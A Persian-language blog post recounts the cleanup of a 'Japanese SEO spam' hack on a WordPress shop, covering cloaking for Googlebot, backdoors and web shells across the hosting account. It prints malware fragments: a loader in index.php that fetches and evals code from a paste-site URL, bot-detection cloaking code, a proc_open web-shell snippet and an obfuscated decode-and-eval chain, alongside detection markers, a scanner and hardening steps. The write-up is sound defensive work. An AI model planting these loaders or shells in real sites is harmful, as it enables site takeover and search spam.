تجربه واقعی پاک‌سازی هک ژاپنی وردپرس؛ از SEO Spam و Cloaking تا کشف Web Shell در کل اکانت هاست

mohammad ghanimi — Tue, 14 Jul 2026 23:49:50 +0330

ماجرا از جایی شروع شد که سایت در ظاهر کاملاً عادی بود.مطمنم اگه با این مشکل روبرو شده باشید این مقاله به شدت میتونه به شما کمک کنه. یکی از راه های استفاده از این محتوا این هست که کل محتوارو برای chatgpt کپی کنید و مرحله به مرحله باهاش مسیر رو طی کنید. منتظر کامنت های شما عزیزان هستمکاربران عادی صفحه اصلی را درست میدیدند، محصولات نمایش داده میشدند، پنل مدیریت باز میشد و حتی آیکون سایت در تنظیمات وردپرس نیز صحیح بود. با این حال، گوگل چیز دیگری از سایت میدید.در Google Search Console نشانههای عجیبی ظاهر شده بود:صفحات ناشناخته با مسیر /prizes/URLهایی با پارامترهای عددی طولانی مانند ?o=...عنوانهای ژاپنیتصاویر محصول از سایتهای خارجییک Favicon نامرتبطSitemapهای متعدد و غیرواقعیمحتوایی که کاربران عادی هرگز آن را نمیدیدندسایت موردنظر hanondesign بود؛ یک سایت وردپرسی دارای ووکامرس، قالب Woodmart، Rank Math، WP Rocket و چند افزونه متداول دیگر.در ابتدا تصور میشد مشکل از Rank Math، کش WP Rocket، تنظیمات Sitemap یا دیتابیس وردپرس باشد. اما بررسیها نشان داد با یک آلودگی بسیار گستردهتر روبهرو هستیم؛ آلودگیای که فقط وردپرس را هدف نگرفته بود و در مسیرهای مختلف اکانت هاست، از جمله public_html، tmp، ssl، etc، lscache و public_ftp فایل مخرب ساخته بود.این مقاله گزارش کامل این اتفاق است؛ از اولین نشانهها تا کشف فایل اصلی، ساخت اسکنر اختصاصی، شناسایی چندین خانواده بدافزار و پاکسازی نهایی.هک ژاپنی وردپرس چیست؟هک ژاپنی یا Japanese SEO Spam نوعی حمله است که در آن مهاجم صفحات جعلی با محتوای ژاپنی، چینی یا فروشگاهی روی سایت قربانی ایجاد میکند.هدف معمولاً یکی از این موارد است:گرفتن رتبه در نتایج گوگل با اعتبار دامنه قربانیساخت صفحات فروش محصول جعلیهدایت کاربران گوگل به فروشگاههای غیرمعتبرسوءاستفاده از Crawl Budget سایتایجاد هزاران URL اسپمفروش لینک و ترافیکارسال ایمیل اسپم از سروردر بسیاری از موارد، صاحب سایت هیچ محتوای ژاپنی در وردپرس نمیبیند؛ زیرا بدافزار از تکنیکی به نام Cloaking استفاده میکند.در Cloaking، محتوایی که به Googlebot نمایش داده میشود با محتوایی که کاربر عادی میبیند متفاوت است.مثلاً:if (isGoogleBot()) { echo $japaneseSpamPage; exit; } require 'wp-blog-header.php';در چنین حالتی مدیر سایت صفحه واقعی را میبیند، ولی گوگل نسخه جعلی را ایندکس میکند.نشانههای اولیه آلودگیدر این پرونده، نشانههای زیر مشاهده شد:۱. URLهای جعلی /prizes/گوگل URLهایی مشابه نمونه زیر را Crawl میکرد:https://hanondesign.ir/prizes/65404905 https://hanondesign.ir/prizes/38650470 https://hanondesign.ir/prizes/194572006هیچ برگه، نوشته، محصول یا Custom Post Type با نام prizes در وردپرس وجود نداشت.جستوجوی دیتابیس نیز نتیجهای برای این عبارت نشان نمیداد.۲. Sitemap غیرعادیفایل sitemap.xml بهجای Sitemap عادی Rank Math، تعداد زیادی Sitemap جعلی تولید میکرد؛ مانند:/sitemap607.xml /sitemap608.xml /sitemap609.xmlاین Sitemapها شامل صدها یا هزاران URL اسپم بودند.۳. عنوان و محتوای ژاپنی در Search Consoleدر آزمایش زنده Google Search Console، صفحه اصلی بهصورت یک صفحه فروش محصول ژاپنی نمایش داده شد.در HTML مشاهدهشده، موارد زیر وجود داشت:【H984】琥珀...همچنین:تصاویر از static.mercdn.netمنابعی از komeri.comStructured Data مربوط به Productصدها لینک /prizes/Canonical به دامنه اصلی سایتFavicon از یک سایت خارجیاین در حالی بود که مرورگر عادی صفحه واقعی سایت را نمایش میداد.اولین اشتباه محتمل: متهمکردن افزونه سئو یا کشوقتی Sitemap جعلی و محتوای متفاوت برای گوگل دیده میشود، معمولاً اولین مظنونها اینها هستند:Rank MathYoast SEOWP RocketLiteSpeed CacheCloudflareافزونه Redirectافزونه Code Snippetsدیتابیس وردپرسدر این پرونده نیز ابتدا همین بخشها بررسی شدند.هیچ رشتهای با عبارات زیر در دیتابیس پیدا نشد:prizes Japanese komeri mercdnهمچنین Rewrite Rule مشخصی برای /prizes/ وجود نداشت.در نتیجه باید مشخص میشد آیا درخواست Googlebot اصلاً به وردپرس میرسد یا قبل از آن پاسخ داده میشود.روش تشخیص اینکه درخواست به وردپرس میرسد یا خیربرای این کار یک MU Plugin موقت ساخته شد.فایل:wp-content/mu-plugins/hanon-trace.phpمنطق آن به شکل ساده زیر بود:'; });هدف این بود که وقتی وردپرس اجرا میشود:یک Header با نام X-Hanon-WP-Reached اضافه شود.یک Comment در HTML صفحه قرار گیرد.سپس Google Search Console Live Test دوباره اجرا شد.نتیجه مهم بود:HANON_WP_REACHEDدر نسخه ژاپنی وجود نداشت.فایل Log افزونه نیز ساخته نشد.این یعنی پاسخ جعلی قبل از بارگذاری وردپرس و قبل از اجرای MU Pluginها تولید میشد.پس مشکل از Rank Math، WooCommerce یا قالب نبود.تست .htaccess و مشخصشدن محل اجرای بدافزاربرای اطمینان، یک Rewrite موقت در .htaccess اضافه شد تا درخواست Google Inspection Tool به یک فایل ثابت هدایت شود.محتوای فایل تست:HANON_GOOGLE_PROBE_20260712Google Search Console همین متن را نمایش داد.این آزمایش ثابت کرد:درخواست گوگل به سرور و .htaccess میرسد.اما در حالت عادی قبل از اجرای وردپرس، یک کد دیگر پاسخ جعلی تولید میکند.محل آلودگی احتمالاً یکی از فایلهای ابتدایی اجرای PHP است.فایلهای مهم در این مرحله عبارتاند از:index.php wp-blog-header.php wp-load.php wp-config.php .user.ini php.ini auto_prepend_fileغیرفعالکردن WP Rocket و ردشدن فرضیه کشبرای حذف احتمال کش آلوده، اقدامات زیر انجام شد:define('WP_CACHE', false);فایل زیر تغییرنام داده شد:wp-content/advanced-cache.phpو پوشه کش WP Rocket نیز به قرنطینه منتقل شد:wp-content/cache/wp-rocketبا این حال، Google Search Console همچنان صفحه ژاپنی را نمایش میداد.بنابراین مشکل از Cache نبود.کشف عامل اصلی در index.phpفایل اصلی زیر بررسی شد:/home/hanondes/public_html/index.phpدر ابتدای فایل، قبل از کد استاندارد وردپرس، این کد قرار داشت:رشته Hex زیر:68747470733a2f2f706173746566792e6170702f6d485262685370612f726177پس از Decode به این آدرس تبدیل میشد:https://pastefy.app/mHRbhSpa/rawیعنی فایل index.php در هر درخواست، کد PHP را از یک سرویس خارجی دریافت و با eval اجرا میکرد.ساختار واقعی حمله تقریباً این بود:$remoteCode = file_get_contents( 'https://pastefy.app/mHRbhSpa/raw' ); eval($remoteCode);این کد قبل از وردپرس اجرا میشد و میتوانست:User-Agent را بررسی کند.Googlebot را تشخیص دهد.محتوای ژاپنی نمایش دهد.Sitemap جعلی تولید کند.URLهای /prizes/ بسازد.برای کاربران عادی وردپرس واقعی را نمایش دهد.بدون تغییر دیتابیس، هزاران صفحه جعلی ایجاد کند.پاکسازی اولیه index.phpمحتوای آلوده حذف و فایل به نسخه استاندارد وردپرس برگردانده شد:فایل Log نیز ثبت درخواست Googlebot را آغاز کرد.این یعنی درخواستها اکنون به وردپرس واقعی میرسیدند.نکته مهم این است که مشاهده درخواستهای جدید گوگل برای URLهای قدیمی /prizes/ بعد از پاکسازی الزاماً به معنی باقیبودن آلودگی نیست. گوگل ممکن است URLهای قبلاً کشفشده را هفتهها یا ماهها دوباره Crawl کند. مهم این است که این URLها اکنون محتوای جعلی تولید نکنند و پاسخ 404 یا 410 بدهند.کشف فایل CIthjx.phpبررسی فایلهای اخیراً تغییرکرده، یک فایل تصادفی در ریشه سایت نشان داد:/home/hanondes/public_html/CIthjx.phpمشخصات فایل:Size: 38,804 bytes Modified: 10 July 2026نام تصادفی، محل قرارگیری در ریشه سایت و زمان ساخت نزدیک به زمان آلودهشدن index.php بسیار مشکوک بود.محتوای فایل شامل:رشتههای رمزگذاریشدهCommentهای تصادفیevalساخت پویای توابعPayload بزرگکدهای مبهمسازیشدهبود.این فایل یک Backdoor محسوب میشد و حذف شد.اما این پایان ماجرا نبود.چرا اسکن فقط public_html کافی نبود؟در بسیاری از پاکسازیهای ناقص، فقط پوشه سایت بررسی میشود:/home/user/public_htmlاما PHP معمولاً با دسترسی همان حساب cPanel اجرا میشود و ممکن است بتواند در مسیرهای دیگر Home Directory نیز فایل ایجاد کند.در این پرونده اسکن کل مسیر زیر انجام شد:/home/hanondesنتیجه نشان داد بدافزار در مسیرهای مختلف پخش شده است:/home/hanondes/public_ftp /home/hanondes/etc /home/hanondes/ssl /home/hanondes/lscache /home/hanondes/tmp /home/hanondes/public_htmlاین موضوع نشان میداد مهاجم فقط یک فایل وردپرس را تغییر نداده، بلکه Persistence در سطح اکانت هاست ایجاد کرده است.ساخت اسکنر اول: Host Audit Scannerبرای بررسی کل اکانت یک اسکنر PHP اختصاصی ساخته شد.وظایف این اسکنر عبارت بودند از:پیمایش تمام فایلهای /home/hanondesپیداکردن امضاهای قطعی بدافزاربررسی فایلهای PHP مخفیپیداکردن PHP در uploadsبررسی فایلهای تغییرکرده در بازه حملهشناسایی فایلهای World-Writableبررسی Payloadهای طولانیشناسایی ترکیبهای مشکوک مانند eval و base64_decodeبررسی فایلهای با نام تصادفیمحاسبه SHA-256ثبت مسیر، اندازه و تاریخ تغییر فایلخلاصه نتیجه اسکن:Files checked: 28,789 Files read: 28,751 Errors: 0بخش مهم اسکن، تفکیک «امضای قطعی» از «Heuristic» بود.برای مثال وجود عبارت Googlebot بهتنهایی دلیل بدافزاربودن نیست؛ زیرا افزونههای کش و کتابخانههای Mobile Detect نیز ممکن است این عبارت را داشته باشند.همچنین فایلهای تصویر باینری ممکن است بهصورت تصادفی شامل بایتهایی مشابه ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $process = proc_open( $cmd, $descriptorSpec, $pipes ); // Read command output... }این سطح از دسترسی، یک File Manager ساده نبود؛ یک Web Shell کامل بود.فایل gaibfebchb.php و SEO Cloakingیکی دیگر از فایلهای مخرب:wp-content/uploads/gaibfebchb.phpاین فایل با یک Payload بزرگ Base64 شروع میشد:$a = base64_decode('...'); eval($a);پس از Decode، مشخص شد کد:User-Agent را بررسی میکند.Googlebot، Bing و Yahoo را تشخیص میدهد.اطلاعات Host، URL، Referer و Language را جمعآوری میکند.از چند دامنه خارجی محتوا میگیرد.robots.txt را بازنویسی میکند.Sitemap جعلی تعریف میکند.پاسخهای 301، 404 و 500 تولید میکند.محتوای HTML، CSS یا XML دریافتی را به کاربر نمایش میدهد.نمونه منطق تشخیص ربات:function disbot() { $ua = strtolower( $_SERVER['HTTP_USER_AGENT'] ?? '' ); return stripos($ua, 'googlebot') !== false || stripos($ua, 'bing') !== false || stripos($ua, 'yahoo') !== false || stripos($ua, 'google') !== false; }نمونه دریافت محتوای خارجی:$response = curl_exec($ch); if (!$response && ini_get('allow_url_fopen')) { $response = file_get_contents($url); }این دقیقاً همان رفتاری بود که باعث نمایش نسخه ژاپنی فقط برای گوگل شده بود.فایلهای مخرب داخل uploadsسه فایل مهم در مسیر رسانهها پیدا شدند:wp-content/uploads/bceddaeiec.txt wp-content/uploads/gaibfebchb.txt wp-content/uploads/gaibfebchb.phpنکته مهم این است که Extension فایل همیشه قابل اعتماد نیست.فایلهایی با پسوندهای زیر نیز ممکن است Payload PHP یا داده رمزگذاریشده داشته باشند:.txt .jpg .png .ico .dat .cacheمهاجم ممکن است Payload را داخل فایل TXT نگه دارد و از یک Loader PHP برای خواندن و اجرای آن استفاده کند.بنابراین اسکن فقط فایلهای .php کافی نیست.کشف فایل ejrJa8.phpدر اسکن اولیه یک فایل PHP داخل مسیر WPCode در uploads دیده شد:wp-content/uploads/wpcode/e/b/c/ejrJa8.phpاندازه فایل:67,001 bytesابتدا احتمال داده شد این فایل توسط افزونه WPCode تولید شده باشد، اما بررسی محتوا نشان داد فایل کاملاً مخرب است.ابتدای فایل شامل کد نامفهوم و Commentهای تصادفی بود::z8A*/; ParsE_STr#:(ynK%+z.!wEUeKKدر ادامه نام توابع بهصورت پویا ساخته میشد و Payload چندمرحلهای اجرا میشد.توابع مورد استفاده شامل این موارد بودند:strrev str_rot13 base64_decode gzinflate create_function evalساختار کلی Loader مشابه این زنجیره بود:eval( gzinflate( base64_decode( str_rot13( strrev($payload) ) ) ) );SHA-256 این فایل:2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3این Hash بعداً نقش بسیار مهمی در کشف نسخههای دیگر فایل داشت.چرا اسکن اول کافی نبود؟اسکن اول براساس امضاهای شناختهشده این خانوادهها نوشته شده بود:BDKR28 Priv1337 Leaf PHPMailer leafmailer.pw 85049c1f2be10d gaibfebchb pastefy.app nobotuseragent okhtmlgetcontentاما ejrJa8.php از امضای متفاوت و Obfuscation پیچیدهتری استفاده میکرد.این تجربه یک نکته مهم را نشان داد:هیچ اسکنری که فقط بر نام فایل یا چند رشته ثابت متکی باشد، کامل نیست.مهاجم میتواند:نام فایل را تغییر دهد.دامنه Remote Loader را تغییر دهد.ترتیب توابع Decode را تغییر دهد.Payload را دوباره Encode کند.Commentهای تصادفی اضافه کند.Hash فایل را تغییر دهد.فایل را در یک مسیر قانونی پنهان کند.به همین دلیل اسکن دوم اختصاصاً برای Loaderهای رمزگذاریشده ساخته شد.ساخت اسکنر دوم: Encoded Loader Scannerاسکنر دوم موارد زیر را بررسی میکرد:تطبیق Hash قطعی$knownHashes = [ '2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3', ];امضاهای اختصاصی فایل$exactMarkers = [ 'ezyyimywymy1mtykljy2ywzhnmmmjwy2igz', '==ji9//79rpN+', 'FalSE /*h\\Y6iCQ', 'ParsE_STr#:', ];بررسی زنجیرههای Decode$decoderMarkers = [ 'base64_decode', 'gzinflate', 'gzdecode', 'str_rot13', 'strrev', 'create_function', 'eval(', 'assert(', ];شناسایی Payloadهای طولانیif ( preg_match( '/[A-Za-z0-9+\/]{5000,}={0,2}/s', $content ) ) { $hasLongEncodedPayload = true; }شناسایی PHP در uploads$isInUploads = str_contains( $path, '/wp-content/uploads/' ); $isPhp = str_contains($content, ' ?o=نمونه منطق یک اسکنر امن و فقط خواندنیاسکنر زیر صرفاً یک نمونه ساده است و چیزی را حذف نمیکند. روی سایت واقعی باید با محدودیت دسترسی، Timeout، Skip Directory و گزارش دقیقتر استفاده شود.isFile() || $file->isLink()) { continue; } if ($file->getSize() > 5 * 1024 * 1024) { continue; } $path = $file->getPathname(); $content = @file_get_contents($path); if ($content === false) { continue; } $reasons = []; $sha256 = hash('sha256', $content); if (in_array($sha256, $knownHashes, true)) { $reasons[] = 'Known malicious hash'; } foreach ($markers as $marker) { if (stripos($content, $marker) !== false) { $reasons[] = 'Marker: ' . $marker; } } if ($reasons !== []) { echo "PATH: {$path}\n"; echo "SHA256: {$sha256}\n"; foreach ($reasons as $reason) { echo " - {$reason}\n"; } echo "\n"; } }این اسکنر بهتنهایی کافی نیست؛ زیرا فایلهای جدید ممکن است هیچیک از Hashها یا Markerهای قبلی را نداشته باشند.روش بهتر برای تشخیص فایلهای ناشناختهعلاوه بر Signature، باید رفتار فایل بررسی شود.یک فایل PHP زمانی بسیار مشکوک است که چند مورد از ویژگیهای زیر را همزمان داشته باشد:eval assert create_function base64_decode gzinflate gzdecode str_rot13 strrev hex2bin file_get_contents با URL خارجی curl_exec proc_open shell_exec system passthru move_uploaded_file file_put_contents unlink rename scandirبرای مثال وجود base64_decode بهتنهایی بدافزار نیست. بعضی افزونهها استفاده قانونی دارند.اما ترکیب زیر بسیار مشکوک است:eval( gzinflate( base64_decode($payload) ) );یا:$code = file_get_contents( 'https://example.com/payload' ); eval($code);یا:proc_open( $_POST['command'], $descriptor, $pipes );تفاوت نتیجه قطعی و False Positiveاسکنرهای امنیتی معمولاً تعداد زیادی نتیجه تولید میکنند. همه آنها بدافزار نیستند.مواردی که در این پرونده False Positive بودند:فایلهای WP Rocket دارای عبارت Googlebotکتابخانه Mobile Detectفایلهای Minifyشده JavaScriptSVGهای طولانیفایلهای CSS فشردهXMLهای بزرگتصاویر باینری که بهصورت تصادفی شامل Require all denied Deny from all RemoveHandler .php .phtml .phar RemoveType .php .phtml .phar این قانون مانع اجرای مستقیم فایل PHP داخل پوشه آپلودها میشود.بستن ویرایشگر فایل وردپرسدر wp-config.php:define('DISALLOW_FILE_EDIT', true);غیرفعالکردن Debug در محیط واقعیdefine('WP_DEBUG', false); define('WP_DEBUG_LOG', false); define('WP_DEBUG_DISPLAY', false);اجبار SSL برای مدیریتdefine('FORCE_SSL_ADMIN', true);Permission مناسبDirectory: 755 File: 644 wp-config.php: 440 یا 640هیچ فایل یا پوشهای نباید 777 باشد.نصب مجدد افزونهها و قالبهاافزونه و قالب موجود صرفاً Update نشوند. پوشه قدیمی حذف و نسخه سالم رسمی نصب شود.این موضوع مخصوصاً برای موارد زیر مهم است:WP Rocket Code Snippets WPCode WooCommerce Elementor Rank Math Slider Revolution Woodmartفعالسازی ورود دومرحلهایبرای:cPanel WordPress Admin Email Cloudflareبررسی دسترسیهای هاستFTP Accounts SSH Keys API Tokens Email Forwarders Email Filters Application Passwords Cron Jobsفعالکردن ModSecurity و اسکن سروراز هاستینگ درخواست شود:ModSecurity OWASP CRS ImunifyAV+ Imunify360 Scheduled Malware Scan Email Alert CloudLinux CageFS Account Isolationاقدامات مربوط به گوگل بعد از پاکسازیپاکشدن فایلها به معنی حذف فوری نتایج اسپم از گوگل نیست.بعد از پاکسازی باید:Sitemap واقعی بررسی شود.Sitemap دوباره در Search Console ثبت شود.صفحه اصلی با Live Test آزمایش شود.URLهای /prizes/ پاسخ 404 یا 410 بدهند.URLهای جعلی در ابزار Removals موقتاً مخفی شوند.صفحات اصلی Request Indexing شوند.گزارش Pages و Crawled Currently Not Indexed بررسی شود.Favicon و Title جدید دوباره Crawl شوند.Server Log برای درخواستهای قدیمی Googlebot بررسی شود.بازگشت Googlebot به URLهای اسپم قدیمی طبیعی است. مهم این است که دیگر محتوای ژاپنی یا پاسخ 200 دریافت نکند.جمعبندی تجربهاین آلودگی فقط یک «هک ژاپنی ساده» نبود.ساختار حمله چندلایه بود:Remote Loader در index.php ↓ Cloaking برای Googlebot ↓ Sitemap و URL جعلی ↓ Backdoor در ریشه سایت ↓ Uploaderهای BDKR28 و Priv1337 ↓ Leaf PHPMailer برای ارسال اسپم ↓ Web Shell با اجرای Command ↓ Payloadهای مخفی در uploads ↓ کپی بدافزار در tmp، ssl، etc و public_ftp ↓ ۱۲ نسخه Loader داخل wp-admin و wp-includesمهمترین درسها:ظاهر سالم سایت دلیل سالمبودن آن نیست.Google Search Console میتواند اولین محل کشف Cloaking باشد.نبودن محتوا در دیتابیس، آلودگی فایلها را رد نمیکند.فقط public_html را اسکن نکنید.فقط نام فایل را بررسی نکنید.فقط به یک اسکنر اعتماد نکنید.پوشههای هسته را قبل از نصب نسخه سالم حذف کنید.PHP داخل uploads را جدی بگیرید.Hash و Marker هر دو مفیدند، اما رفتار فایل مهمتر است.فایلهای خارج از Web Root نیز میتوانند Persistence ایجاد کنند.بعد از حذف بدافزار، رمزها و دسترسیها باید تغییر کنند.بدون مانیتورینگ و بکاپ خارج از هاست، پاکسازی کامل نیست.در این پرونده، پاکسازی واقعی زمانی کامل شد که:اسکن خانواده 85049c1f2be10d: صفر اسکن Loader رمزگذاریشده: صفر اسکن دیتابیس: صفر Cron Job مشکوک: صفر auto_prepend_file مشکوک: صفر کاربر مدیر ناشناس: صفر Google Live Test: نسخه واقعی سایتاین تجربه نشان داد که برای حل هک ژاپنی وردپرس، نباید فقط روی صفحهای که گوگل نشان میدهد تمرکز کرد. باید زنجیره کامل آلودگی، از اولین فایل اجراشونده تا آخرین Backdoor پنهان در اکانت هاست، شناسایی و قطع شود.

نوشته های mohammad ghanimi

تجربه واقعی پاک‌سازی هک ژاپنی وردپرس؛ از SEO Spam و Cloaking تا کشف Web Shell در کل اکانت هاست